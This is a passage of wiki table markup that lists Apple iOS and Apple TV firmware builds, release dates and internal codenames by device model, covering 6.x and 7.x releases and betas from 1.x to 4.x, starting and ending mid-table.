| [[Brighton 10B143 (iPhone 5 Global)|6.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10B144
| colspan="17" {{n/a}}
| [[Brighton 10B144 (iPhone 4 GSM)|6.1]]
| [[Brighton 10B144 (iPhone 4 GSM Rev A)|6.1]]
| colspan="4" {{n/a}}
| [[Brighton 10B144 (iPod touch 4G)|6.1]]
| colspan="1" {{n/a}}
|-
! style="text-align:left;" | 10B144b
| [[Brighton 10B144b (Apple TV 2G)|5.2]]
| [[Brighton 10B144b (Apple TV 3G)|5.2]]
| [[Brighton 10B144b (Apple TV 3G Rev A)|5.2]]
| colspan="22" {{n/a}}
|-
| 11 Feb 2013
! style="text-align:left;" | 10B145
| colspan="20" {{n/a}}
| [[Brighton 10B145 (iPhone 4S)|6.1.1]]
| colspan="4" {{n/a}}
|-
| rowspan="2" | 19 Feb 2013
! style="text-align:left;" | 10B146
| colspan="3" {{n/a}}
| [[Brighton 10B146 (iPad 2 Wi-Fi)|6.1.2]]
| [[Brighton 10B146 (iPad 2 GSM)|6.1.2]]
| [[Brighton 10B146 (iPad 2 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPad 2 Wi-Fi Rev A)|6.1.2]]
| [[Brighton 10B146 (iPad 3 Wi-Fi)|6.1.2]]
| [[Brighton 10B146 (iPad 3 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPad 3 Global)|6.1.2]]
| [[Brighton 10B146 (iPad 4 Wi-Fi)|6.1.2]]
| colspan="2" {{n/a}}
| [[Brighton 10B146 (iPad mini 1G Wi-Fi)|6.1.2]]
| colspan="2" {{n/a}}
| [[Brighton 10B146 (iPhone 3GS)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 GSM)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 GSM Rev A)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPhone 4S)|6.1.2]]
| [[Brighton 10B146 (iPhone 5 GSM)|6.1.2]]
| [[Brighton 10B146 (iPhone 5 Global)|6.1.2]]
| [[Brighton 10B146 (iPod touch 4G)|6.1.2]]
| [[Brighton 10B146 (iPod touch 5G)|6.1.2]]
|-
! style="text-align:left;" | 10B147
| colspan="11" {{n/a}}
| [[Brighton 10B147 (iPad 4 GSM)|6.1.2]]
| [[Brighton 10B147 (iPad 4 Global)|6.1.2]]
| colspan="1" {{n/a}}
| [[Brighton 10B147 (iPad 4 GSM)|6.1.2]]
| [[Brighton 10B147 (iPad 4 Global)|6.1.2]]
| colspan="9" {{n/a}}
|-
| rowspan="2" | 19 Mar 2013
! style="text-align:left;" | 10B329
| colspan="3" {{n/a}}
| [[BrightonMaps 10B329 (iPad 2 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 Wi-Fi Rev A)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 3GS)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 GSM Rev A)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4S)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 5 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 5 Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPod touch 4G)|6.1.3]]
| [[BrightonMaps 10B329 (iPod touch 5G)|6.1.3]]
|-
! style="text-align:left;" | 10B329a
| [[BrightonMaps 10B329a (Apple TV 2G)|5.2.1]]
| [[BrightonMaps 10B329a (Apple TV 3G)|5.2.1]]
| [[BrightonMaps 10B329a (Apple TV 3G Rev A)|5.2.1]]
| colspan="22" {{n/a}}
|-
| 2 May 2013
! style="text-align:left;" | 10B350
| colspan="21" {{n/a}}
| [[BrightonMaps 10B350 (iPhone 5 GSM)|6.1.4]]
| [[BrightonMaps 10B350 (iPhone 5 Global)|6.1.4]]
| colspan="2" {{n/a}}
|-
| 19 Jun 2013
! style="text-align:left;" | 10B809
| [[BrightonTide 10B809 (Apple TV 2G)|5.3]]
| [[BrightonTide 10B809 (Apple TV 3G)|5.3]]
| [[BrightonTide 10B809 (Apple TV 3G Rev A)|5.3]]
| colspan="22" {{n/a}}
|-
| 14 Nov 2013
! style="text-align:left;" | 10B400
| colspan="23" {{n/a}}
| [[BrightonMaps 10B400 (iPod touch 4G)|6.1.5]]
| {{n/a}}
|}

==== 7.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="12" | [[iPad]]
! colspan="5" | [[iPad mini]]
! colspan="10" | [[iPhone]]
! colspan="1" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="2" | [[iPad Air|Air]]
! colspan="3" | [[iPad mini 1G|1G]]
! colspan="2" | [[iPad mini 2G|2G]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! colspan="2" | [[iPhone 5c|5c]]
! colspan="2" | [[iPhone 5s|5s]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[j71ap|Wi‑Fi]]
! [[j72ap|Cellular]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[j85ap|Wi‑Fi]]
! [[j86ap|Cellular]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! [[n42ap|Global]]
! [[n48ap|GSM]]
! [[n49ap|Global]]
! [[n51ap|GSM]]
! class="rborderplz" | [[n53ap|Global]]
|-
| rowspan="3" | 18 Sep 2013
! style="text-align:left;" | 11A465
| colspan="3" {{n/a}}
| [[Innsbruck 11A465 (iPad 2 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 2 GSM)|7.0]]
| [[Innsbruck 11A465 (iPad 2 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPad 2 Wi-Fi Rev A)|7.0]]
| [[Innsbruck 11A465 (iPad 3 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 3 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPad 3 Global)|7.0]]
| [[Innsbruck 11A465 (iPad 4 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 4 GSM)|7.0]]
| [[Innsbruck 11A465 (iPad 4 Global)|7.0]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A465 (iPad mini 1G Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad mini 1G GSM)|7.0]]
| [[Innsbruck 11A465 (iPad mini 1G Global)|7.0]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A465 (iPhone 4 GSM)|7.0]]
| [[Innsbruck 11A465 (iPhone 4 GSM Rev A)|7.0]]
| [[Innsbruck 11A465 (iPhone 4 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPhone 4S)|7.0]]
| [[Innsbruck 11A465 (iPhone 5 GSM)|7.0]]
| [[Innsbruck 11A465 (iPhone 5 Global)|7.0]]
| colspan="4" {{n/a}}
| [[Innsbruck 11A465 (iPod touch 5G)|7.0]]
|-
! style="text-align:left;" | 11A466
| rowspan="2" colspan="26" {{n/a}}
| [[Innsbruck 11A466 (iPhone 5c GSM)|7.0]]
| [[Innsbruck 11A466 (iPhone 5c Global)|7.0]]
| [[Innsbruck 11A466 (iPhone 5s GSM)|7.0]]
| [[Innsbruck 11A466 (iPhone 5s Global)|7.0]]
| rowspan="2" {{n/a}}
|-
! style="text-align:left;" | 11A470a
| [[Innsbruck 11A470a (iPhone 5c GSM)|7.0.1]]
| [[Innsbruck 11A470a (iPhone 5c Global)|7.0.1]]
| [[Innsbruck 11A470a (iPhone 5s GSM)|7.0.1]]
| class="rborderplz" | [[Innsbruck 11A470a (iPhone 5s Global)|7.0.1]]
|-
| 20 Sep 2013
! style="text-align:left;" | 11A470e
| [[Innsbruck 11A470e (Apple TV 2G)|6.0]]
| [[Innsbruck 11A470e (Apple TV 3G)|6.0]]
| [[Innsbruck 11A470e (Apple TV 3G Rev A)|6.0]]
| colspan="28" {{n/a}}
|-
| 26 Sep 2013
! style="text-align:left;" | 11A501
| colspan="3" {{n/a}}
| [[Innsbruck 11A501 (iPad 2 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 Wi-Fi Rev A)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 Global)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 Global)|7.0.2]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A501 (iPad mini 1G Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad mini 1G GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad mini 1G Global)|7.0.2]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A501 (iPhone 4 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4 GSM Rev A)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4S)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5 Global)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5c GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5c Global)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5s GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5s Global)|7.0.2]]
| [[Innsbruck 11A501 (iPod touch 5G)|7.0.2]]
|-
| 23 Sep 2013
! style="text-align:left;" | 11A502
| [[Innsbruck 11A502 (Apple TV 2G)|6.0]]
| [[Innsbruck 11A502 (Apple TV 3G)|6.0]]
| [[Innsbruck 11A502 (Apple TV 3G Rev A)|6.0]]
| colspan="28" {{n/a}}
|-
| 22 Oct 2013
! style="text-align:left;" | 11B511
| colspan="3" {{n/a}}
| [[InnsbruckTaos 11B511 (iPad 2 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 Wi-Fi Rev A)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad Air Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad Air Cellular)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini Retina Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini Retina Cellular)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 GSM Rev A)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4S)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5c GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5c Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5s GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5s Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPod touch 5G)|7.0.3]]
|-
| 24 Oct 2013
! style="text-align:left;" | 11B511d
| [[Innsbruck 11B511d (Apple TV 2G)|6.0.1]]
| [[Innsbruck 11B511d (Apple TV 3G)|6.0.1]]
| [[Innsbruck 11B511d (Apple TV 3G Rev A)|6.0.1]]
| colspan="28" {{n/a}}
|-
| 14 Oct 2013
! style="text-align:left;" | 11B554a
| [[Innsbruck 11B554a (Apple TV 2G)|6.0.2]]
| [[Innsbruck 11B554a (Apple TV 3G)|6.0.2]]
| [[Innsbruck 11B554a (Apple TV 3G Rev A)|6.0.2]]
| [[InnsbruckTaos 11B554a (iPad 2 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 Wi-Fi Rev A)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad Air Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad Air Cellular)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini Retina Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini Retina Cellular)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 GSM Rev A)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4S)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5c GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5c Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5s GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5s Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPod touch 5G)|7.0.4]]
|}

=== Beta ===
{{main|Beta Firmware}}
==== 1.x/2.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="2" | [[iPhone]]
! [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n45ap|1G]]
|-
| 6 Mar 2008
! style="text-align:left;" | 5A147p
| [[Big Bear 5A147p (iPhone)|1.2b]]
| rowspan="13" {{n/a}}
| [[Big Bear 5A147p (iPod touch)|1.2b]]
|-
| 27 Mar 2008
! style="text-align:left;" | 5A225c
| [[Big Bear 5A225c (iPhone)|2.0b2]]
| [[Big Bear 5A225c (iPod touch)|2.0b2]]
|-
| 8 Apr 2008
! style="text-align:left;" | 5A240d
| [[Big Bear 5A240d (iPhone)|2.0b3]]
| [[Big Bear 5A240d (iPod touch)|2.0b3]]
|-
| 23 Apr 2008
! style="text-align:left;" | 5A258f
| [[Big Bear 5A258f (iPhone)|2.0b4]]
| [[Big Bear 5A258f (iPod touch)|2.0b4]]
|-
| 6 May 2008
! style="text-align:left;" | 5A274d
| [[Big Bear 5A274d (iPhone)|2.0b5]]
| [[Big Bear 5A274d (iPod touch)|2.0b5]]
|-
| 28 May 2008
! style="text-align:left;" | 5A292g
| [[Big Bear 5A292g (iPhone)|2.0b6P]]
| [[Big Bear 5A292g (iPod touch)|2.0b6P]]
|-
| 29 May 2008
! style="text-align:left;" | 5A308
| [[Big Bear 5A308 (iPhone)|2.0b6F]]
| [[Big Bear 5A308 (iPod touch)|2.0b6F]]
|-
| 9 Jun 2008
! style="text-align:left;" | 5A331
| [[Big Bear 5A331 (iPhone)|2.0b7]]
| [[Big Bear 5A331 (iPod touch)|2.0b7]]
|-
| 26 Jun 2008
! style="text-align:left;" | 5A345
| [[Big Bear 5A345 (iPhone)|2.0GM]]
| [[Big Bear 5A345 (iPod touch)|2.0GM]]
|-
| 24 Jul 2008
! style="text-align:left;" | 5F90
| [[Sugar Bowl 5F90 (iPhone)|2.1b]]
| [[Sugar Bowl 5F90 (iPod touch)|2.1b]]
|-
| 30 Jul 2008
! style="text-align:left;" | ?
| 2.1b2
| 2.1b2
|-
| 8 Aug 2008
! style="text-align:left;" | ?
| 2.1b3
| 2.1b3
|-
| 16 Aug 2008
! style="text-align:left;" | ?
| 2.1b4
| 2.1b4
|-
| 25 Sep 2008
! style="text-align:left;" | 5G29
| [[Timberline 5G29 (iPhone)|2.2b]]
| [[Timberline 5G29 (iPhone 3G)|2.2b]]
| [[Timberline 5G29 (iPod touch)|2.2b]]
|-
| 20 Oct 2008
! style="text-align:left;" | 5G53
| [[Timberline 5G53 (iPhone)|2.2b2]]
| [[Timberline 5G53 (iPhone 3G)|2.2b2]]
| [[Timberline 5G53 (iPod touch)|2.2b2]]
|}

==== 3.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="3" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n88ap|3GS]]
! [[n45ap|1G]]
! [[n72ap|2G]]
|-
| 17 Mar 2009
! style="text-align:left;" | 7A238j
| [[KirkVail 7A238j (iPhone)|3.0b]]
| [[KirkVail 7A238j (iPhone 3G)|3.0b]]
| class="nobborderplz" rowspan="6" {{n/a}}
| [[KirkVail 7A238j (iPod touch)|3.0b]]
| [[KirkVail 7A238j (iPod touch 2G)|3.0b]]
|-
| 31 Mar 2009
! style="text-align:left;" | 7A259g
| [[KirkVail 7A259g (iPhone)|3.0b2]]
| [[KirkVail 7A259g (iPhone 3G)|3.0b2]]
| [[KirkVail 7A259g (iPod touch)|3.0b2]]
| [[KirkVail 7A259g (iPod touch 2G)|3.0b2]]
|-
| 14 Apr 2009
! style="text-align:left;" | 7A280f
| [[KirkVail 7A280f (iPhone)|3.0b3]]
| [[KirkVail 7A280f (iPhone 3G)|3.0b3]]
| [[KirkVail 7A280f (iPod touch)|3.0b3]]
| [[KirkVail 7A280f (iPod touch 2G)|3.0b3]]
|-
| 28 Apr 2009
! style="text-align:left;" | 7A300g
| [[KirkVail 7A300g (iPhone)|3.0b4]]
| [[KirkVail 7A300g (iPhone 3G)|3.0b4]]
| [[KirkVail 7A300g (iPod touch)|3.0b4]]
| [[KirkVail 7A300g (iPod touch 2G)|3.0b4]]
|-
| 6 May 2009
! style="text-align:left;" | 7A312g
| [[KirkVail 7A312g (iPhone)|3.0b5]]
| [[KirkVail 7A312g (iPhone 3G)|3.0b5]]
| [[KirkVail 7A312g (iPod touch)|3.0b5]]
| [[KirkVail 7A312g (iPod touch 2G)|3.0b5]]
|-
| 8 Jun 2009
! style="text-align:left;" | 7A341
| [[Kirkwood 7A341 (iPhone)|3.0GM]]
| [[Kirkwood 7A341 (iPhone 3G)|3.0GM]]
| [[Kirkwood 7A341 (iPod touch)|3.0GM]]
| [[Kirkwood 7A341 (iPod touch 2G)|3.0GM]]
|-
| 30 Jun 2009
! style="text-align:left;" | 7C97d
| [[NorthVail 7C97d (iPhone)|3.1b]]
| [[NorthVail 7C97d (iPhone 3G)|3.1b]]
| [[NorthVail 7C97d (iPhone 3GS)|3.1b]]
| [[NorthVail 7C97d (iPod touch)|3.1b]]
| [[NorthVail 7C97d (iPod touch 2G)|3.1b]]
|-
| 14 Jul 2009
! style="text-align:left;" | 7C106c
| [[NorthVail 7C106c (iPhone)|3.1b2]]
| [[NorthVail 7C106c (iPhone 3G)|3.1b2]]
| [[NorthVail 7C106c (iPhone 3GS)|3.1b2]]
| [[NorthVail 7C106c (iPod touch)|3.1b2]]
| [[NorthVail 7C106c (iPod touch 2G)|3.1b2]]
|-
| 27 Jul 2009
! style="text-align:left;" | 7C116a
| [[NorthVail 7C116a (iPhone)|3.1b3]]
| [[NorthVail 7C116a (iPhone 3G)|3.1b3]]
| [[NorthVail 7C116a (iPhone 3GS)|3.1b3]]
| [[NorthVail 7C116a (iPod touch)|3.1b3]]
| [[NorthVail 7C116a (iPod touch 2G)|3.1b3]]
|}

==== 4.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! [[iPad]]
! colspan="3" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! rowspan="2" | [[n82ap|3G]]
! rowspan="2" | [[n88ap|3GS]]
! [[iPhone 4|4]]
! rowspan="2" | [[n72ap|2G]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! class="rborderplz" | [[n90ap|GSM]]
|-
| 8 Apr 2010
! style="text-align:left;" | 8A230m
| colspan="2" rowspan="9" {{n/a}}
| [[ApexVail 8A230m (iPhone 3G)|4.0b]]
| [[ApexVail 8A230m (iPhone 3GS)|4.0b]]
| rowspan="5" {{n/a}}
| [[ApexVail 8A230m (iPod touch 2G)|4.0b]]
| [[ApexVail 8A230m (iPod touch 3G)|4.0b]]
| rowspan="9" {{n/a}}
|-
| 20 Apr 2010
! style="text-align:left;" | 8A248c
| [[ApexVail 8A248c (iPhone 3G)|4.0b2]]
| [[ApexVail 8A248c (iPhone 3GS)|4.0b2]]
| [[ApexVail 8A248c (iPod touch 2G)|4.0b2]]
| class="rborderplz" | [[ApexVail 8A248c (iPod touch 3G)|4.0b2]]
|-
| 4 May 2010
! style="text-align:left;" | 8A260b
| [[ApexVail 8A260b (iPhone 3G)|4.0b3]]
| [[ApexVail 8A260b (iPhone 3GS)|4.0b3]]
| [[ApexVail 8A260b (iPod touch 2G)|4.0b3]]
| class="rborderplz" | [[ApexVail 8A260b (iPod touch 3G)|4.0b3]]
|-
| 18 May 2010
! style="text-align:left;" | 8A274b
| [[ApexVail 8A274b (iPhone 3G)|4.0b4]]
| [[ApexVail 8A274b (iPhone 3GS)|4.0b4]]
| [[ApexVail 8A274b (iPod touch 2G)|4.0b4]]
| class="rborderplz" | [[ApexVail 8A274b (iPod touch 3G)|4.0b4]]
|-
| 7 Jun 2010
! style="text-align:left;" | 8A293
| [[Apex 8A293 (iPhone 3G)|4.0GM]]
| [[Apex 8A293 (iPhone 3GS)|4.0GM]]
| [[Apex 8A293 (iPod touch 2G)|4.0GM]]
| class="rborderplz" | [[Apex 8A293 (iPod touch 3G)|4.0GM]]
|-
| 14 Jul 2010
! style="text-align:left;" | 8B5080c
| [[BakerVail 8B5080c (iPhone 3G)|4.1b]]
| [[BakerVail 8B5080c (iPhone 3GS)|4.1b]]
| [[BakerVail 8B5080c (iPhone 4 GSM)|4.1b]]
| [[BakerVail 8B5080c (iPod touch 2G)|4.1b]]
| class="rborderplz" | [[BakerVail 8B5080c (iPod touch 3G)|4.1b]]
|-
| 27 Jul 2010
! style="text-align:left;" | 8B5091b
| [[BakerVail 8B5091b (iPhone 3G)|4.1b2]]
| [[BakerVail 8B5091b (iPhone 3GS)|4.1b2]]
| [[BakerVail 8B5091b (iPhone 4 GSM)|4.1b2]]
| [[BakerVail 8B5091b (iPod touch 2G)|4.1b2]]
| class="rborderplz" | [[BakerVail 8B5091b (iPod touch 3G)|4.1b2]]
|-
| 3 Aug 2010
! style="text-align:left;" | 8B5097d
| [[BakerVail 8B5097d (iPhone 3G)|4.1b3]]
| [[BakerVail 8B5097d (iPhone 3GS)|4.1b3]]
| [[BakerVail 8B5097d (iPhone 4 GSM)|4.1b3]]
| [[BakerVail 8B5097d (iPod touch 2G)|4.1b3]]
| class="rborderplz" | [[BakerVail 8B5097d (iPod touch 3G)|4.1b3]]
|-
| 1 Sep 2010
! style="text-align:left;" | 8B117
| [[Baker 8B117 (iPhone 3G)|4.1GM]]
| [[Baker 8B117 (iPhone 3GS)|4.1GM]]
| [[Baker 8B117 (iPhone 4 GSM)|4.1GM]]
| [[Baker 8B117 (iPod touch 2G)|4.1GM]]
| class="rborderplz" | [[Baker 8B117 (iPod touch 3G)|4.1GM]]
|-
| 15 Sep 2010
! style="text-align:left;" | 8C5091e
| rowspan="7" {{n/a}}
| [[JasperVail 8C5091e (iPad)|4.2b]]
| [[JasperVail 8C5091e (iPhone 3G)|4.2b]]
| [[JasperVail 8C5091e (iPhone 3GS)|4.2b]]
| [[JasperVail 8C5091e (iPhone 4 GSM)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 2G)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 3G)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 4G)|4.2b]]
|-
| 28 Sep 2010
! style="text-align:left;" | 8C5101c
| [[JasperVail 8C5101c (iPad)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 3G)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 3GS)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 4 GSM)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 2G)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 3G)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 4G)|4.2b2]]
|-
| 12 Oct 2010
! style="text-align:left;" | 8C5115c
| [[JasperVail 8C5115c (iPad)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 3G)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 3GS)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 4 GSM)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 2G)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 3G)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 4G)|4.2b3]]
|-
| 1 Nov 2010
! style="text-align:left;" | 8C134
| [[Jasper 8C134 (iPad)|4.2GM]]
| [[Jasper 8C134 (iPhone 3G)|4.2GM]]
| [[Jasper 8C134 (iPhone 3GS)|4.2GM]]
| [[Jasper 8C134 (iPhone 4 GSM)|4.2GM]]
| [[Jasper 8C134 (iPod touch 2G)|4.2GM]]
| [[Jasper 8C134 (iPod touch 3G)|4.2GM]]
| [[Jasper 8C134 (iPod touch 4G)|4.2GM]]
|-
| 18 Nov 2010
! style="text-align:left;" | 8C134b
| [[Jasper 8C134b (iPad)|4.2GM2]]
| colspan="6" {{n/a}}
|-
| 18 Nov 2010
! style="text-align:left;" | 8C148
| [[Jasper 8C148 (iPad)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 3G)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 3GS)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 4 GSM)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 2G)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 3G)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 4G)|4.2.1GM]]
|-
| 12 Jan 2011
! style="text-align:left;" | 8F5148b
| [[DurangoVail 8F5148b (iPad)|4.3b]]
| {{n/a}}
| [[DurangoVail 8F5148b (iPhone 3GS)|4.3b]]
| [[DurangoVail 8F5148b (iPhone 4 GSM)|4.3b]]
| {{n/a}}
| [[DurangoVail 8F5148b (iPod touch 3G)|4.3b]]
| [[DurangoVail 8F5148b (iPod touch 4G)|4.3b]]
|-
| 12 Jan 2011
! style="text-align:left;" | 8F5148c
